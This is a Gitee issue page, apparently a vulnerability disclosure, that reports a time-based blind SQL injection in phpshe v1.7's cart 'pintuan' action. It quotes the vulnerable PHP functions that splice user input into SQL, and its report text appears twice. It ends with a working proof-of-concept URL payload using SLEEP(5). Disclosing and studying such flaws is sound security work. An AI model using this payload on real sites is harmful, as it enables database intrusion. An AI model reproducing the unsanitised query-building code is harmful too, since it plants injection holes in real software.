登录
注册
开源
企业版
高校版
搜索
帮助中心
使用条款
关于我们
开源
企业版
高校版
私有云
模力方舟
AI 队友
登录
注册
轻量养虾,开箱即用!低 Token + 稳定算力,Gitee & 模力方舟联合出品的 PocketClaw 正式开售!点击了解详情
代码拉取完成,页面将自动刷新
捐赠
捐赠前请先登录
取消
前往登录
扫描微信二维码支付
取消
支付完成
支付提示
将跳转至支付宝完成支付
确定
取消
Watch
不关注
关注所有动态
仅关注版本发行动态
关注但不提醒动态
17
Star
48
Fork
17
koyshe
/
phpshe
代码
Issues
7
Pull Requests
0
Wiki
统计
流水线
服务
PHPDoc
质量分析
Jenkins for Gitee
腾讯云托管
腾讯云 Serverless
悬镜安全
阿里云 SAE
Codeblitz
SBOM
开发画像分析
我知道了,不再自动展开
更新失败,请稍后重试!
移除标识
内容风险标识
本任务被
标识为内容中包含有代码安全 Bug 、隐私泄露等敏感信息,仓库外成员不可访问
phpshe v1.7 time-based Blind SQL injection
待办的
#ISW87
hellos1ma
创建于
2019-03-07 16:16
### 0x01 Vulnerability details The vulnerability is located in the /module/index/cart.php. When the value of the act parameter is 'pintuan', The value of the pintuan_id parameter obtained from the client is passed directly to the pintuan_check function.This vulnerability requires the permissions of ordinary users. ``` switch ($act) { //####################// 购物车添加/立即购买 //####################// case 'add': case 'buy': case 'pintuan': $product_id = intval($_g_id); $product_guid = intval($_g_guid); $product_num = intval($_g_num); if (!user_checkguest()) pe_jsonshow(array('result'=>false, 'show'=>'请先登录')); //exit(var_dump(2)); //检测库存 $product = product_buyinfo($product_guid); if (!$product['product_id']) pe_jsonshow(array('result'=>false, 'show'=>'商品下架或失效')); if ($product['product_num'] < $product_num) pe_jsonshow(array('result'=>false, 'show'=>"库存仅剩{$product['product_num']}件")); //检测虚拟商品 if ($act == 'add' && $product['product_type'] == 'virtual') pe_jsonshow(array('result'=>false, 'show'=>'不能加入购物车')); //检测拼团 if ($act == 'add' && $product['huodong_type'] == 'pintuan') pe_jsonshow(array('result'=>false, 'show'=>'不能加入购物车')); //the vul code if ($act == 'pintuan' && !pintuan_check($product['huodong_id'], $_g_pintuan_id)) pe_jsonshow(array('result'=>false, 'show'=>'拼团无效或结束')); ...... ``` The pintuan_check function is located ../hook/order.hook.php,when an attacker passes a malicious parameter value to pintuan_id,the condition is met and the value of the pintuan_id parameter is finally passed to the pe_select function.The code for the pintuan_check function: ``` function pintuan_check($huodong_id, $pintuan_id = 0) { global $db; if ($pintuan_id) { $info = $db->pe_select('pintuan', array('pintuan_id'=>$pintuan_id)); if (!$info['pintuan_id']) return false; if (in_array($info['pintuan_state'], array('success', 'close'))) return false; } else { $info = $db->pe_select('huodong', array('huodong_id'=>$huodong_id)); if (!$info['huodong_id']) return false; if ($info['huodong_stime'] > time() or $info['huodong_etime'] <= time()) return false; } return true; } ``` In the pe_select function, the value of the pintuan_id parameter has undergone a series of processing of the dowhere function, and finally directly spliced into the sql statement, there is no security filtering. The pe_select function is located ../include/class/db.class.php. ``` public function pe_select($table, $where = '', $field = '*') { //处理条件语句 $sqlwhere = $this->_dowhere($where); return $this->sql_select("select {$field} from `".dbpre."{$table}` {$sqlwhere} limit 1"); } ``` The code for the _dowhere function : ``` function _dowhere($where) { if (is_array($where)) { foreach ($where as $k => $v) { $k = str_ireplace('`', '', $k); if (is_array($v)) { $where_arr[] = "`{$k}` in('".implode("','", $v)."')"; } else { in_array($k, array('order by', 'group by')) ? ($sqlby .= " {$k} {$v}") : ($where_arr[] = "`{$k}` = '{$v}'"); } } $sqlwhere = is_array($where_arr) ? 'where '.implode($where_arr, ' and ').$sqlby : $sqlby; } else { $where && $sqlwhere = (stripos(trim($where), 'order by') === 0 or stripos(trim($where), 'group by') === 0) ? "{$where}" : "where 1 {$where}"; } return $sqlwhere; } ``` ### 0x02 POC ``` /index.php?act=pintuan&guid=86&id=30&mod=cart&num=e&pintuan_id=' AND (SELECT * FROM (SELECT(SLEEP(5)))prjM)-- PiOR ``` 
### 0x01 Vulnerability details The vulnerability is located in the /module/index/cart.php. When the value of the act parameter is 'pintuan', The value of the pintuan_id parameter obtained from the client is passed directly to the pintuan_check function.This vulnerability requires the permissions of ordinary users. ``` switch ($act) { //####################// 购物车添加/立即购买 //####################// case 'add': case 'buy': case 'pintuan': $product_id = intval($_g_id); $product_guid = intval($_g_guid); $product_num = intval($_g_num); if (!user_checkguest()) pe_jsonshow(array('result'=>false, 'show'=>'请先登录')); //exit(var_dump(2)); //检测库存 $product = product_buyinfo($product_guid); if (!$product['product_id']) pe_jsonshow(array('result'=>false, 'show'=>'商品下架或失效')); if ($product['product_num'] < $product_num) pe_jsonshow(array('result'=>false, 'show'=>"库存仅剩{$product['product_num']}件")); //检测虚拟商品 if ($act == 'add' && $product['product_type'] == 'virtual') pe_jsonshow(array('result'=>false, 'show'=>'不能加入购物车')); //检测拼团 if ($act == 'add' && $product['huodong_type'] == 'pintuan') pe_jsonshow(array('result'=>false, 'show'=>'不能加入购物车')); //the vul code if ($act == 'pintuan' && !pintuan_check($product['huodong_id'], $_g_pintuan_id)) pe_jsonshow(array('result'=>false, 'show'=>'拼团无效或结束')); ...... ``` The pintuan_check function is located ../hook/order.hook.php,when an attacker passes a malicious parameter value to pintuan_id,the condition is met and the value of the pintuan_id parameter is finally passed to the pe_select function.The code for the pintuan_check function: ``` function pintuan_check($huodong_id, $pintuan_id = 0) { global $db; if ($pintuan_id) { $info = $db->pe_select('pintuan', array('pintuan_id'=>$pintuan_id)); if (!$info['pintuan_id']) return false; if (in_array($info['pintuan_state'], array('success', 'close'))) return false; } else { $info = $db->pe_select('huodong', array('huodong_id'=>$huodong_id)); if (!$info['huodong_id']) return false; if ($info['huodong_stime'] > time() or $info['huodong_etime'] <= time()) return false; } return true; } ``` In the pe_select function, the value of the pintuan_id parameter has undergone a series of processing of the dowhere function, and finally directly spliced into the sql statement, there is no security filtering. The pe_select function is located ../include/class/db.class.php. ``` public function pe_select($table, $where = '', $field = '*') { //处理条件语句 $sqlwhere = $this->_dowhere($where); return $this->sql_select("select {$field} from `".dbpre."{$table}` {$sqlwhere} limit 1"); } ``` The code for the _dowhere function : ``` function _dowhere($where) { if (is_array($where)) { foreach ($where as $k => $v) { $k = str_ireplace('`', '', $k); if (is_array($v)) { $where_arr[] = "`{$k}` in('".implode("','", $v)."')"; } else { in_array($k, array('order by', 'group by')) ? ($sqlby .= " {$k} {$v}") : ($where_arr[] = "`{$k}` = '{$v}'"); } } $sqlwhere = is_array($where_arr) ? 'where '.implode($where_arr, ' and ').$sqlby : $sqlby; } else { $where && $sqlwhere = (stripos(trim($where), 'order by') === 0 or stripos(trim($where), 'group by') === 0) ? "{$where}" : "where 1 {$where}"; } return $sqlwhere; } ``` ### 0x02 POC ``` /index.php?act=pintuan&guid=86&id=30&mod=cart&num=e&pintuan_id=' AND (SELECT * FROM (SELECT(SLEEP(5)))prjM)-- PiOR ``` 
评论 (
0
)
登录
后才可以发表评论
状态
待办的
待办的
进行中
已完成
已关闭
负责人
未设置
标签
未设置
标签管理
里程碑
未关联里程碑
未关联里程碑
Pull Requests
未关联
未关联
关联的 Pull Requests 被合并后可能会关闭此 issue
分支
未关联
分支 (
-
)
标签 (
-
)
开始日期   -   截止日期
-
置顶选项
不置顶
置顶等级:高
置顶等级:中
置顶等级:低
优先级
不指定
严重
主要
次要
不重要
参与者(1)
PHP
1
https://gitee.com/koyshe/phpshe.git
git@gitee.com:koyshe/phpshe.git
koyshe
phpshe
phpshe
点此查找更多帮助
搜索帮助
Git 命令在线学习
如何在 Gitee 导入 GitHub 仓库
Git 仓库基础操作
企业版和社区版功能对比
SSH 公钥设置
如何处理代码冲突
仓库体积过大,如何减小?
如何找回被删除的仓库数据
Gitee 产品配额说明
GitHub仓库快速导入Gitee及同步更新
什么是 Release(发行版)
将 PHP 项目自动发布到 packagist.org
评论
仓库举报
回到顶部
登录提示
该操作需登录 Gitee 帐号,请先登录后再操作。
立即登录
没有帐号,去注册